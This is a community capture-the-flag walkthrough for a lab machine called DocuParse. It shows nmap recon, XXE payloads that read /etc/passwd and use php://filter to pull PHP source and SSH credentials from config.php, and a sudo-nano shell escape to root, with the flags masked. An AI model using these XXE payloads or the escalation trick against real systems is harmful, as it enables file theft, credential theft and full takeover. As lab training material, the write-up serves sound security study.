πŸ€πŸ€ 0 pts earned

Docparse

Premium Machine (Locked)

DocuParse is an internal XML invoice processor. The developer enabled external entity loading for 'flexibility' and left a PHP config file with SSH credentials in the web root. One crafted invoice is all it takes.

Machine online — 1ms (checked 10m ago)
Target IP Premium required
User Flag Pending
Root Flag Pending

Community

Community Walkthroughs

thinkverse 11 May 2026

Network Recon

The challenge gives us a good starting point by providing an nmap example for network scanning.

nmap -sV -p 30562,30563 45.56.112.197

PORT      STATE SERVICE VERSION
30562/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
30563/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Interacting with DocuParse

Visiting :30563 shows us an internal XML invoice processing service that's been accidentally left open to the public.

In the Quick Test example, we see that the application sends a POST request to /parse.php with the provided XML.

<?xml version="1.0" encoding="UTF-8"?>
<invoice>
  <id>INV-2024-001</id>
  <amount>4950.00</amount>
  <vendor>Acme Supplies Ltd</vendor>
  <date>2024-06-01</date>
</invoice>

Executing this also returns the information to us below with a new status of queued for processing.

DocuParse v1.4 β€” Invoice Parsed Successfully
────────────────────────────────────────────
  Invoice ID : INV-2024-001
  Amount     : 4950.00
  Vendor     : Acme Supplies Ltd
  Date       : 2024-06-01
────────────────────────────────────────────
Status: queued for processing

This tells us two important things: first, that the application is built with PHP, and second, that it has a potential XML external entity injection (XXE) vulnerability^1.

Finding users with XXE

Since the application uses XML, we can start testing for XXE, which relies on an external SYSTEM entity pointing to a URI.

<!ENTITY entity-name SYSTEM "URI/URL">

Our first XXE injection, like many examples, is to try to read /etc/passwd. If accessible, it could reveal any users that we can potentially access later.
For that, we will use the file URI scheme^2. So let's modify the example to include an external entity.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<invoice>
  <id>INV-2024-001</id>
  <amount>4950.00</amount>
  <vendor>&xxe;</vendor>
  <date>2024-06-01</date>
</invoice>

This now replaces &xxe; with the contents of /etc/passwd, revealing that a user of docparser exists.

...
docparser:x:1000:1000::/home/docparser:/bin/bash

Reading source code with XXE and PHP wrappers

Now that we have a user, let's focus our attention on the application. Despite advice from security professionals worldwide, users sometimes reuse credentials.
With any luck, the developers of DocuParse have done that. We know the application uses PHP, so we can try reading the index.php file.

NOTE: Usually the default directory for websites is /var/www/html, so we will assume that's the directory we need to search.

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/index.php">
]>

And with this payload, we get an XML parse error. Given that we know the application uses PHP, we have another option to try. The php://filter^3 wrapper, and its many options, like convert and resource.

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">

Using the PHP wrapper, we now get a base64-encoded version of index.php that we can decode using tools like CyberChef.

PD9waHAKLy8g4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACi8vIERvY3VQYXJzZSDigJQgSW50ZXJuYWwgSW52b2ljZSBQcm9jZXNzaW5nIFBvcnRhbAovLyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKPz48IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgo8aGVhZD4KICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgPHRpdGxlPkRvY3VQYXJzZSAmbWRhc2g7IEludGVybmFsIEludm9pY2UgUHJvY2Vzc29yPC90aXRsZT4KICA8c3R5bGU+CiAgICAqIHsgYm94LXNpemluZzogYm9yZGVyLWJveDsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyB9CiAgICBib2R5IHsgYmFja2dyb3VuZDogIzBkMTExNzsgY29sb3I6ICNjOWQxZDk7IGZvbnQtZmFtaWx5OiAnQ291cmllciBOZXcnLCBDb3VyaWVyLCBtb25vc3BhY2U7IHBhZGRpbmc6IDIuNXJlbTsgfQogICAgaDEgICB7IGNvbG9yOiAjNThhNmZmOyBtYXJnaW4tYm90dG9tOiAwLjc1cmVtOyBmb250LXNpemU6IDEuNHJlbTsgfQogICAgaDIgICB7IGNvbG9yOiAjZTZlZGYzOyBmb250LXNpemU6IDFyZW07IG1hcmdpbjogMS41cmVtIDAgMC41cmVtOyB9CiAgICBwICAgIHsgY29sb3I6ICM4Yjk0OWU7IGxpbmUtaGVpZ2h0OiAxLjY7IG1hcmdpbi1ib3R0b206IDAuNzVyZW07IH0KICAgIGNvZGUgeyBiYWNrZ3JvdW5kOiAjMTYxYjIyOyBib3JkZXI6IDFweCBzb2xpZCAjMzAzNjNkOyBwYWRkaW5nOiAwLjE1cmVtIDAuNHJlbTsgZm9udC1zaXplOiAwLjlyZW07IH0KICAgIHByZSAgeyBiYWNrZ3JvdW5kOiAjMTYxYjIyOyBib3JkZXI6IDFweCBzb2xpZCAjMzAzNjNkOyBwYWRkaW5nOiAxcmVtOyBtYXJnaW46IDAuNXJlbSAwIDFyZW07CiAgICAgICAgICAgd2hpdGUtc3BhY2U6IHByZS13cmFwOyBmb250LXNpemU6IDAuODVyZW07IG92ZXJmbG93LXg6IGF1dG87IH0KICAgIC5iYWRnZSB7IGRpc3BsYXk6IGlubGluZS1ibG9jazsgYmFja2dyb3VuZDogIzFmNmZlYjsgY29sb3I6ICNmZmY7IHBhZGRpbmc6IDAuMXJlbSAwLjVyZW07CiAgICAgICAgICAgICBmb250LXNpemU6IDAuNzVyZW07IG1hcmdpbi1yaWdodDogMC40cmVtOyB9CiAgICAuYmFkZ2UtcG9zdCB7IGJhY2tncm91bmQ6ICMyZDZhNGY7IH0KICAgIC5lbmRwb2ludCB7IG1hcmdpbjogMXJlbSAwOyBwYWRkaW5nOiAwLjc1cmVtOyBib3JkZXItbGVmdDogM3B4IHNvbGlkICMzMDM2M2Q7IGJhY2tncm91bmQ6ICMwZDExMTc7IH0KICAgIC5ub3RlIHsgbWFyZ2luLXRvcDogM3JlbTsgY29sb3I6ICM0ODRmNTg7IGZvbnQtc2l6ZTogMC43OHJlbTsgfQogICAgZm9ybSB0ZXh0YXJlYSB7IHdpZHRoOiAxMDAlOyBtYXgtd2lkdGg6IDcwMHB4OyBoZWlnaHQ6IDIwMHB4OyBiYWNrZ3JvdW5kOiAjMTYxYjIyOwogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYzlkMWQ5OyBib3JkZXI6IDFweCBzb2xpZCAjMzAzNjNkOyBwYWRkaW5nOiAwLjVyZW07CiAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IGluaGVyaXQ7IGZvbnQtc2l6ZTogMC44NXJlbTsgfQogICAgYnV0dG9uIHsgbWFyZ2luLXRvcDogMC41cmVtOyBiYWNrZ3JvdW5kOiAjMjM4NjM2OyBjb2xvcjogI2ZmZjsgYm9yZGVyOiBub25lOwogICAgICAgICAgICAgcGFkZGluZzogMC41cmVtIDEuMjVyZW07IGN1cnNvcjogcG9pbnRlcjsgZm9udC1mYW1pbHk6IGluaGVyaXQ7IGZvbnQtc2l6ZTogMXJlbTsgfQogICAgYnV0dG9uOmhvdmVyIHsgYmFja2dyb3VuZDogIzJlYTA0MzsgfQogICAgI3Jlc3VsdCB7IG1hcmdpbi10b3A6IDFyZW07IGJhY2tncm91bmQ6ICMxNjFiMjI7IGJvcmRlcjogMXB4IHNvbGlkICMzMDM2M2Q7CiAgICAgICAgICAgICAgcGFkZGluZzogMXJlbTsgd2hpdGUtc3BhY2U6IHByZS13cmFwOyBmb250LXNpemU6IDAuODVyZW07IG1pbi1oZWlnaHQ6IDgwcHg7IH0KICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgoKPGgxPiYjMTI4MTk2OyBEb2N1UGFyc2UgdjEuNDwvaDE+CjxwPkludGVybmFsIFhNTCBpbnZvaWNlIHByb2Nlc3Npbmcgc2VydmljZS4gU3VibWl0IGludm9pY2VzIGluIERvY3VQYXJzZSBYTUwgZm9ybWF0IGZvciB2YWxpZGF0aW9uIGFuZCBwYXJzaW5nLjwvcD4KCjxoMj5BUEkgRW5kcG9pbnQ8L2gyPgo8ZGl2IGNsYXNzPSJlbmRwb2ludCI+CiAgPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLXBvc3QiPlBPU1Q8L3NwYW4+IDxjb2RlPi9wYXJzZS5waHA8L2NvZGU+CiAgJm1kYXNoOyBTdWJtaXQgcmF3IFhNTCBpbnZvaWNlIGJvZHkuIFJldHVybnMgcGFyc2VkIGZpZWxkIHN1bW1hcnkuCjwvZGl2PgoKPGgyPkV4cGVjdGVkIFhNTCBTY2hlbWE8L2gyPgo8cHJlPiZsdDs/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8mZ3Q7CiZsdDtpbnZvaWNlJmd0OwogICZsdDtpZCZndDtJTlYtMjAyNC0wMDEmbHQ7L2lkJmd0OwogICZsdDthbW91bnQmZ3Q7NDk1MC4wMCZsdDsvYW1vdW50Jmd0OwogICZsdDt2ZW5kb3ImZ3Q7QWNtZSBTdXBwbGllcyBMdGQmbHQ7L3ZlbmRvciZndDsKICAmbHQ7ZGF0ZSZndDsyMDI0LTA2LTAxJmx0Oy9kYXRlJmd0OwombHQ7L2ludm9pY2UmZ3Q7PC9wcmU+Cgo8aDI+UXVpY2sgVGVzdDwvaDI+CjxwPlBhc3RlIGFuIGludm9pY2UgWE1MIGJlbG93IGFuZCBzdWJtaXQgdG8gc2VlIHRoZSBwYXJzZWQgb3V0cHV0OjwvcD4KPGZvcm0gaWQ9InRlc3RGb3JtIj4KICA8dGV4dGFyZWEgaWQ9InhtbElucHV0IiBwbGFjZWhvbGRlcj0iUGFzdGUgeW91ciBpbnZvaWNlIFhNTCBoZXJlLi4uIj4mbHQ7P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/Jmd0OwombHQ7aW52b2ljZSZndDsKICAmbHQ7aWQmZ3Q7SU5WLTIwMjQtMDAxJmx0Oy9pZCZndDsKICAmbHQ7YW1vdW50Jmd0OzQ5NTAuMDAmbHQ7L2Ftb3VudCZndDsKICAmbHQ7dmVuZG9yJmd0O0FjbWUgU3VwcGxpZXMgTHRkJmx0Oy92ZW5kb3ImZ3Q7CiAgJmx0O2RhdGUmZ3Q7MjAyNC0wNi0wMSZsdDsvZGF0ZSZndDsKJmx0Oy9pbnZvaWNlJmd0OzwvdGV4dGFyZWE

No useful information is found within index.php, but we have another target. We know the application sends a POST request to parse.php, so let's read that next.
The result of reading parse.php gives us a clue for another PHP file we will want to read: config.php.

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">

In config.php, we can see that the developer has plain-text credentials written, both using the same password.

<?php

...
define('DB_USER', 'docparser');
define('DB_PASS', '*********');

// Maintenance SSH access (set by devops β€” rotate quarterly)
define('SSH_USER', 'docparser');
define('SSH_PASS', '*********');
...

With these credentials, we can now SSH into the box and find our user.txt flag.

flag{******_***__***_*****}

Escalating with the friendly editor

For our last part, we want to escalate our privilege. One way is to see if we can execute a command as a privileged user, i.e., to sudo.
We can see this by listing the commands our user can potentially sudo using the -l or --list option.

sudo -l
...

User docparser may run the following commands on xxe-lab-b99b8ddf8-47rfq:
    (root) NOPASSWD: /usr/bin/nano

We see that we can execute nano as a superuser, by reading the handy-dandy GTFObins.org.
We now know that we can get a shell by starting to read a file with ^R and then executing a command with ^X, and then running the following command.

reset; sh 1>&0 2>&0

We are now root, and can get our root.txt flag.

flag{***_******_**_*****}

Be kind and clean up

To probably exit the box and clean up your SSH connection, type exit and get back into nano. From there, you will exit with ^X and then type N, since we don't need to save anything.
From here, we are back down to docparser, and we can again use exit to log out and close the SSH connection.

Log in to submit your own walkthrough.